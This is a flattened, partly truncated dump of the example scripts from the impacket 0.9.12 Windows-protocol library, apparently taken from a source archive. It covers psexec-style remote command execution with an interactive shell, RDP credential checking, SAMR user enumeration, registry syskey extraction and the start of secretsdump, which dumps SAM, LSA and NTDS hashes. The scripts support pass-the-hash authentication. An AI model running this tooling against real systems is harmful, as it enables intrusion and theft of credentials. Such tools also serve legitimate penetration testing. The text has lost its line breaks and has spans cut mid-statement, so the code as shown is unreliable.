string import time class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority',' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: print '[!] Pipe not ready, aborting' raise fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() try: dce.connect() except Exception, e: print e sys.exit(1) global dialect dialect = rpctransport.get_smb_connection().getDialect() try: unInstalled = False s = rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) else: try: f = open(self.__exeFile) except Exception, e: print e sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) installService.install() if self.__exeFile is not None: f.close() # Check if we need to copy a file for execution if self.__copyFile is not None: installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) # And we change the command to be executed to this filename self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command tid = s.connectTree('IPC$') fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f) packet = RemComMessage() pid = os.getpid() packet['Machine'] = ''.join([random.choice(string.letters) for i in range(4)]) if self.__path is not None: packet['WorkingDir'] = self.__path packet['Command'] = self.__command packet['ProcessID'] = pid s.writeNamedPipe(tid, fid_main, str(packet)) # Here we'll store the command we type so we don't print it back ;) # ( I know.. globals are nasty :P ) global LastDataSent LastDataSent = '' # Create the pipes threads stdin_pipe = RemoteStdInPipe(rpctransport,'\%s%s%d' % (RemComSTDIN ,packet['Machine'],packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare() ) stdin_pipe.start() stdout_pipe = RemoteStdOutPipe(rpctransport,'\%s%s%d' % (RemComSTDOUT,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) stdout_pipe.start() stderr_pipe = RemoteStdErrPipe(rpctransport,'\%s%s%d' % (RemComSTDERR,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) stderr_pipe.start() # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): retCode = RemComResponse(ans) print "[*] Process %s finished with ErrorCode: %d, ReturnCode: %d" % (self.__command, retCode['ErrorCode'], retCode['ReturnCode']) installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) unInstalled = True sys.exit(retCode['ErrorCode']) except SystemExit: raise except: if unInstalled is False: installService.uninstall() if self.__copyFile is not None: s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) sys.stdout.flush() sys.exit(1) class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect) user, passwd, domain, lm, nt = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: print "[!] Something wen't wrong connecting the pipes(%s), try again" % self.__class__ class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except Exception, e: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except Exception, e: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = dialect) user, passwd, domain, lm, nt = self.credentials self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') print "[*] Downloading %s\%s" % (self.share, src_path) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: print e pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = string.replace(f,'/','\\') print "[*] Uploading %s to %s\%s" % (src_file, self.share, dst_path) self.transferClient.putFile(self.share, pathname, fh.read) fh.close() except Exception, e: print e pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): self.send_data(line+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, share=None): Pipes.__init__(self, transport, pipe, permisssions, share) def run(self): self.connectPipe() self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share) self.shell.cmdloop() # Process command-line arguments. if __name__ == '__main__': print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[domain/][username[:password]@]') parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at the target (w/o path)') parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, arguments are passed in the command option') parser.add_argument('-path', action='store', help='path of the command to execute') parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)") group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") executer = PSEXEC(' '.join(options.command), options.path, options.file, options.c, None, username, password, domain, options.hashes) executer.run(address) impacket-0.9.12/examples/rdp_check.py 0000600 0000765 0000024 00000054065 12361767070 017601 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2013 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: rdp_check.py 904 2013-11-07 21:21:13Z bethus@gmail.com $ # # Author: # Alberto Solino (beto@coresecurity.com or bethus@gmail.com) # # Description: [MS-RDPBCGR] and [MS-CREDSSP] partial implementation # just to reach CredSSP auth. This example test whether # an account is valid on the target host. # # ToDo: # [x] Manage to grab the server's SSL key so we can finalize the whole # authentication process (check [MS-CSSP] section 3.1.5) # from impacket.structure import Structure from impacket.spnego import * from struct import pack, unpack TDPU_CONNECTION_REQUEST = 0xe0 TPDU_CONNECTION_CONFIRM = 0xd0 TDPU_DATA = 0xf0 TPDU_REJECT = 0x50 TPDU_DATA_ACK = 0x60 # RDP_NEG_REQ constants TYPE_RDP_NEG_REQ = 1 PROTOCOL_RDP = 0 PROTOCOL_SSL = 1 PROTOCOL_HYBRID = 2 # RDP_NEG_RSP constants TYPE_RDP_NEG_RSP = 2 EXTENDED_CLIENT_DATA_SUPPORTED = 1 DYNVC_GFX_PROTOCOL_SUPPORTED = 2 # RDP_NEG_FAILURE constants TYPE_RDP_NEG_FAILURE = 3 SSL_REQUIRED_BY_SERVER = 1 SSL_NOT_ALLOWED_BY_SERVER = 2 SSL_CERT_NOT_ON_SERVER = 3 INCONSISTENT_FLAGS = 4 HYBRID_REQUIRED_BY_SERVER = 5 SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6 class TPKT(Structure): commonHdr = ( ('Version','B=3'), ('Reserved','B=0'), ('Length','>H=len(TPDU)+4'), ('_TPDU','_-TPDU','self["Length"]-4'), ('TPDU',':=""'), ) class TPDU(Structure): commonHdr = ( ('LengthIndicator','B=len(VariablePart)+1'), ('Code','B=0'), ('VariablePart',':=""'), ) def __init__(self, data = None): Structure.__init__(self,data) self['VariablePart']='' class CR_TPDU(Structure): commonHdr = ( ('DST-REF',' # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth # field is omitted by the client unless the client is sending the last SPNEGO token. # If the client is sending the last SPNEGO token, the TSRequest structure MUST have # both the negoToken and the pubKeyAuth fields filled in. # NTLMSSP stuff auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) ts_request = TSRequest() ts_request['NegoData'] = str(auth) tls.send(ts_request.getData()) buff = tls.recv(4096) ts_request.fromString(buff) # 3. The client encrypts the public key it received from the server (contained # in the X.509 certificate) in the TLS handshake from step 1, by using the # confidentiality support of SPNEGO. The public key that is encrypted is the # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 # certificate, as specified in [RFC3280] section 4.1. The encrypted key is # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over # the TLS channel to the server. # # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted # from the TSRequest structure; the client MUST send its last SPNEGO token to the # server in the negoTokens field (see step 2) along with the encrypted public key # in the pubKeyAuth field. # Last SPNEGO token calculation ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) # Get server public key server_cert = tls.get_peer_certificate() pkey = server_cert.get_pubkey() dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey) # Fix up due to PyOpenSSL lack for exporting public keys dump = dump[7:] dump = '\x30'+ asn1encode(dump) cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) signature, cripted_key = cipher.encrypt(dump) ts_request['NegoData'] = str(type3) ts_request['pubKeyAuth'] = str(signature) + cripted_key try: # Sending the Type 3 NTLM blob tls.send(ts_request.getData()) # The other end is waiting for the pubKeyAuth field, but looks like it's # not needed to check whether authentication worked. # If auth is unsuccessful, it throws an exception with the previous send(). # If auth is successful, the server waits for the pubKeyAuth and doesn't answer # anything. So, I'm sending garbage so the server returns an error. # Luckily, it's a different error so we can determine whether or not auth worked ;) buff = tls.recv(1024) except Exception, err: if str(err).find("denied") > 0: print "[*] Access Denied" else: logging.error(err) return # 4. After the server receives the public key in step 3, it first verifies that # it has the same public key that it used as part of the TLS handshake in step 1. # The server then adds 1 to the first byte representing the public key (the ASN.1 # structure corresponding to the SubjectPublicKey field, as described in step 3) # and encrypts the binary result by using the SPNEGO encryption services. # Due to the addition of 1 to the binary data, and encryption of the data as a binary # structure, the resulting value may not be valid ASN.1-encoded values. # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest # structure and is sent over the encrypted TLS channel to the client. # The addition of 1 to the first byte of the public key is performed so that the # client-generated pubKeyAuth message cannot be replayed back to the client by an # attacker. # # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens # fields are omitted from the TSRequest structure. ts_request = TSRequest(buff) # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) # 5. After the client successfully verifies server authenticity by performing a # binary comparison of the data from step 4 to that of the data representing # the public key from the server's X.509 certificate (as specified in [RFC3280], # section 4.1), it encrypts the user's credentials (either password or smart card # PIN) by using the SPNEGO encryption services. The resulting value is # encapsulated in the authInfo field of the TSRequest structure and sent over # the encrypted TLS channel to the server. # The TSCredentials structure within the authInfo field of the TSRequest # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, # but MUST NOT contain both. # # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens # fields are omitted from the TSRequest structure. tsp = TSPasswordCreds() tsp['domainName'] = domain tsp['userName'] = username tsp['password'] = password tsc = TSCredentials() tsc['credType'] = 1 # TSPasswordCreds tsc['credentials'] = tsp.getData() signature, cripted_creds = cipher.encrypt(tsc.getData()) ts_request = TSRequest() ts_request['authInfo'] = str(signature) + cripted_creds tls.send(ts_request.getData()) tls.close() print "[*] Access Granted" print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[domain/][username[:password]@]') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") check_rdp(address, username, password, domain, options.hashes) impacket-0.9.12/examples/registry-read.py 0000600 0000765 0000024 00000011500 12361767070 020423 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2013 CORE Security Technologies) # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: registry-read.py 1113 2014-01-21 20:58:34Z bethus@gmail.com $ # # Author: Alberto Solino (beto@coresecurity.com) # # Description: A Windows Registry Reader Example # # Reference for: # winregistry.py # import impacket from impacket import version from impacket import winregistry import sys import argparse import ntpath def bootKey(reg): baseClass = 'ControlSet001\\Control\\Lsa\\' keys = ['JD','Skew1','GBG','Data'] tmpKey = '' for key in keys: tmpKey = tmpKey + reg.getClass(baseClass + key).decode('utf-16le')[:8].decode('hex') transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] syskey = '' for i in xrange(len(tmpKey)): syskey += tmpKey[transforms[i]] print syskey.encode('hex') def getClass(reg, className): regKey = ntpath.dirname(className) regClass = ntpath.basename(className) value = reg.getClass(className) if value is None: return print "[%s]" % regKey print "Value for Class %s: \n" % regClass, winregistry.hexdump(value,' ') def getValue(reg, keyValue): regKey = ntpath.dirname(keyValue) regValue = ntpath.basename(keyValue) value = reg.getValue(keyValue) print "[%s]\n" % regKey if value is None: return print "Value for %s:\n " % regValue, reg.printValue(value[0],value[1]) def enumValues(reg, searchKey): key = reg.findKey(searchKey) if key is None: return print "[%s]\n" % searchKey values = reg.enumValues(key) for value in values: print " %-30s: " % (value), data = reg.getValue('%s\\%s'%(searchKey,value)) # Special case for binary string.. so it looks better formatted if data[0] == winregistry.REG_BINARY: print '' reg.printValue(data[0],data[1]) print '' else: reg.printValue(data[0],data[1]) def enumKey(reg, searchKey, isRecursive, indent=' '): parentKey = reg.findKey(searchKey) if parentKey is None: return keys = reg.enumKey(parentKey) for key in keys: print "%s%s" %(indent, key) if isRecursive is True: if searchKey == '\\': enumKey(reg, '\\%s'%(key),isRecursive,indent+' ') else: enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ') def walk(reg, keyName): return reg.walk(keyName) def main(): print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('hive', action='store', help='registry hive to open') subparsers = parser.add_subparsers(help='actions', dest='action') # A enum_key command enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key') enumkey_parser.add_argument('-name', action='store', required=True, help='registry key') enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)') # A enum_values command enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key') enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key') # A get_value command getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value') getvalue_parser.add_argument('-name', action='store', required=True, help='registry value') # A get_class command getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class') getclass_parser.add_argument('-name', action='store', required=True, help='registry class name') # A walk command walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down') walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() reg = winregistry.Registry(options.hive) if options.action.upper() == 'ENUM_KEY': print "[%s]" % options.name enumKey(reg, options.name, options.recursive) elif options.action.upper() == 'ENUM_VALUES': enumValues(reg, options.name) elif options.action.upper() == 'GET_VALUE': getValue(reg, options.name) elif options.action.upper() == 'GET_CLASS': getClass(reg, options.name) elif options.action.upper() == 'WALK': walk(reg, options.name) reg.close() if __name__ == "__main__": main() impacket-0.9.12/examples/rpcdump.py 0000600 0000765 0000024 00000013312 12361767070 017317 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: rpcdump.py 1076 2014-01-09 19:17:14Z bethus@gmail.com $ # # DCE/RPC endpoint mapper dumper. # # Author: # Javier Kohen # Alberto Solino # # Reference for: # DCE/RPC. import socket import string import sys import types from impacket import uuid, ntlm, version from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc import ndrutils import argparse class RPCDump: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\epmapper]', 445), '135/TCP': (r'ncacn_ip_tcp:%s', 135), } def __init__(self, protocols = None, username = '', password = '', domain='', hashes = None): if not protocols: protocols = RPCDump.KNOWN_PROTOCOLS.keys() self.__username = username self.__password = password self.__protocols = [protocols] self.__domain = domain self.__lmhash = '' self.__nthash = '' if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self, addr): """Dumps the list of endpoints registered with the mapper listening at addr. Addr is a valid host name or IP address in string format. """ print 'Retrieving endpoint list from %s' % addr # Try all requested protocols until one works. entries = [] for protocol in self.__protocols: protodef = RPCDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] print "Trying protocol %s..." % protocol stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: entries = self.__fetchList(rpctransport) except Exception, e: print 'Protocol failed: %s' % e else: # Got a response. No need for further iterations. break # Display results. endpoints = {} # Let's groups the UUIDS for entry in entries: binding = epm.PrintStringBinding(entry['tower']['Floors'], rpctransport.get_dip()) tmpUUID = str(entry['tower']['Floors'][0]) if endpoints.has_key(tmpUUID) is not True: endpoints[tmpUUID] = {} endpoints[tmpUUID]['Bindings'] = list() if ndrutils.KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]): endpoints[tmpUUID]['EXE'] = ndrutils.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] else: endpoints[tmpUUID]['EXE'] = 'N/A' endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1] endpoints[tmpUUID]['Bindings'].append(binding) if epm.KNOWN_PROTOCOLS.has_key(tmpUUID[:36]): endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]] else: endpoints[tmpUUID]['Protocol'] = "N/A" #print "Transfer Syntax: %s" % entry['Tower']['Floors'][1] for endpoint in endpoints.keys(): print "Protocol: %s " % endpoints[endpoint]['Protocol'] print "Provider: %s " % endpoints[endpoint]['EXE'] print "UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation']) print "Bindings: " for binding in endpoints[endpoint]['Bindings']: print " %s" % binding print "" if entries: num = len(entries) if 1 == num: print 'Received one endpoint.' else: print 'Received %d endpoints.' % num else: print 'No endpoints found.' def __fetchList(self, rpctransport): dce = rpctransport.get_dce_rpc() entries = [] dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) #dce.bind(epm.MSRPC_UUID_PORTMAP) #rpcepm = epm.DCERPCEpm(dce) resp = epm.hept_lookup(rpctransport.get_dip()) dce.disconnect() return resp # Process command-line arguments. if __name__ == '__main__': print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[domain/][username[:password]@]') parser.add_argument('protocol', choices=RPCDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='135/TCP', help='transport protocol (default 135/TCP)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") dumper = RPCDump(options.protocol, username, password, domain, options.hashes) dumper.dump(address) impacket-0.9.12/examples/samrdump.py 0000600 0000765 0000024 00000014241 12361767070 017477 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2014 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: samrdump.py 1077 2014-01-09 23:25:44Z bethus@gmail.com $ # # Description: DCE/RPC SAMR dumper. # # Author: # Javier Kohen # Alberto Solino # # Reference for: # DCE/RPC for SAMR import socket import string import sys import types from impacket import uuid, version from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5 import transport, samr import argparse class ListUsersException(Exception): pass class SAMRDump: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), } def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None): if not protocols: self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys() else: self.__protocols = [protocols] self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self, addr): """Dumps the list of users and shares registered present at addr. Addr is a valid host name or IP address. """ print 'Retrieving endpoint list from %s' % addr # Try all requested protocols until one works. entries = [] for protocol in self.__protocols: protodef = SAMRDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] print "Trying protocol %s..." % protocol rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: entries = self.__fetchList(rpctransport) except Exception, e: print 'Protocol failed: %s' % e else: # Got a response. No need for further iterations. break # Display results. for entry in entries: (username, uid, user) = entry base = "%s (%d)" % (username, uid) print base + '/FullName:', user['FullName'] print base + '/UserComment:', user['UserComment'] print base + '/PrimaryGroupId:', user['PrimaryGroupId'] print base + '/BadPasswordCount:', user['BadPasswordCount'] print base + '/LogonCount:', user['LogonCount'] if entries: num = len(entries) if 1 == num: print 'Received one entry.' else: print 'Received %d entries.' % num else: print 'No entries received.' def __fetchList(self, rpctransport): dce = rpctransport.get_dce_rpc() entries = [] dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) try: resp = samr.hSamrConnect(dce) serverHandle = resp['ServerHandle'] resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) domains = resp['Buffer']['Buffer'] print 'Found domain(s):' for domain in domains: print " . %s" % domain['Name'] print "Looking up users in domain %s" % domains[0]['Name'] resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) domainHandle = resp['DomainHandle'] done = False status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) except Exception, e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() for user in resp['Buffer']['Buffer']: r = samr.hSamrOpenUser(dce, domainHandle, samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT, user['RelativeId']) print "Found user: %s, uid = %d" % (user['Name'], user['RelativeId'] ) info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) entries.append(entry) samr.hSamrCloseHandle(dce, r['UserHandle']) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] except ListUsersException, e: print "Error listing users: %s" % e dce.disconnect() return entries # Process command-line arguments. if __name__ == '__main__': print version.BANNER parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[domain/][username[:password]@]') parser.add_argument('protocol', choices=SAMRDump.KNOWN_PROTOCOLS.keys(), nargs='?', default='445/SMB', help='transport protocol (default 445/SMB)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") dumper = SAMRDump(options.protocol, username, password, domain, options.hashes) dumper.dump(address) impacket-0.9.12/examples/secretsdump.py 0000600 0000765 0000024 00000157544 12361767070 020223 0 ustar beto staff 0000000 0000000 #!/usr/bin/python # Copyright (c) 2003-2014 CORE Security Technologies # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # $Id: secretsdump.py 1154 2014-03-21 14:49:10Z bethus@gmail.com $ # # Description: Performs various techniques to dump hashes from the # remote machine without executing any agent there. # For SAM and LSA Secrets (including cached creds) # we try to read as much as we can from the registry # and then we save the hives in the target system (%SYSTEMROOT%\\Temp dir) # and read the rest of the data from there. # For NTDS.dit, we have to extract NTDS.dit via vssadmin executed # with the smbexec approach. It's copied on the temp dir and parsed # remotely. # The scripts initiates the services required for its working # if they are not available (e.g. Remote Registry, even if it is # disabled). After the work is done, things are restored to the # original state. # # Author: # Alberto Solino # # References: Most of the work done by these guys. I just put all # the pieces together, plus some extra magic. # # http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html # http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html # http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html # http://www.quarkslab.com/en-blog+read+13 # https://code.google.com/p/creddump/ # http://lab.mediaservice.net/code/cachedump.rb # http://insecurety.net/?p=768 # http://www.beginningtoseethelight.org/ntsecurity/index.htm # http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf # http://www.passcape.com/index.php?section=blog&cmd=details&id=15 # from impacket import version, smbconnection, winregistry, ntlm from impacket.smbconnection import SMBConnection from impacket.dcerpc import dcerpc, transport, winreg from impacket.dcerpc.v5 import rpcrt, transport, rrp, scmr from impacket.winregistry import hexdump from impacket.structure import Structure from impacket.ese import ESENT_DB from struct import unpack, pack import sys import random import hashlib import argparse import logging import tempfile import os import traceback import ntpath import time import string try: from Crypto.Cipher import DES, ARC4, AES from Crypto.Hash import HMAC, MD4 except Exception: print "Warning: You don't have any crypto installed. You need PyCrypto" print "See http://www.pycrypto.org/" # Structures # Taken from http://insecurety.net/?p=768 class SAM_KEY_DATA(Structure): structure = ( ('Revision',' L',self['SubAuthority'][i*4:i*4+4])[0]) return ans class LSA_SECRET_BLOB(Structure): structure = ( ('Length',' 0: data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) self.__currentOffset += len(data) return data return '' def close(self): if self.__fid is not None: self.__smbConnection.closeFile(self.__tid, self.__fid) self.__smbConnection.deleteFile('ADMIN$', self.__fileName) self.__fid = None def tell(self): return self.__currentOffset def __str__(self): return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) class RemoteOperations: def __init__(self, smbConnection): self.__smbConnection = smbConnection self.__smbConnection.setTimeout(5*60) self.__serviceName = 'RemoteRegistry' self.__stringBindingWinReg = 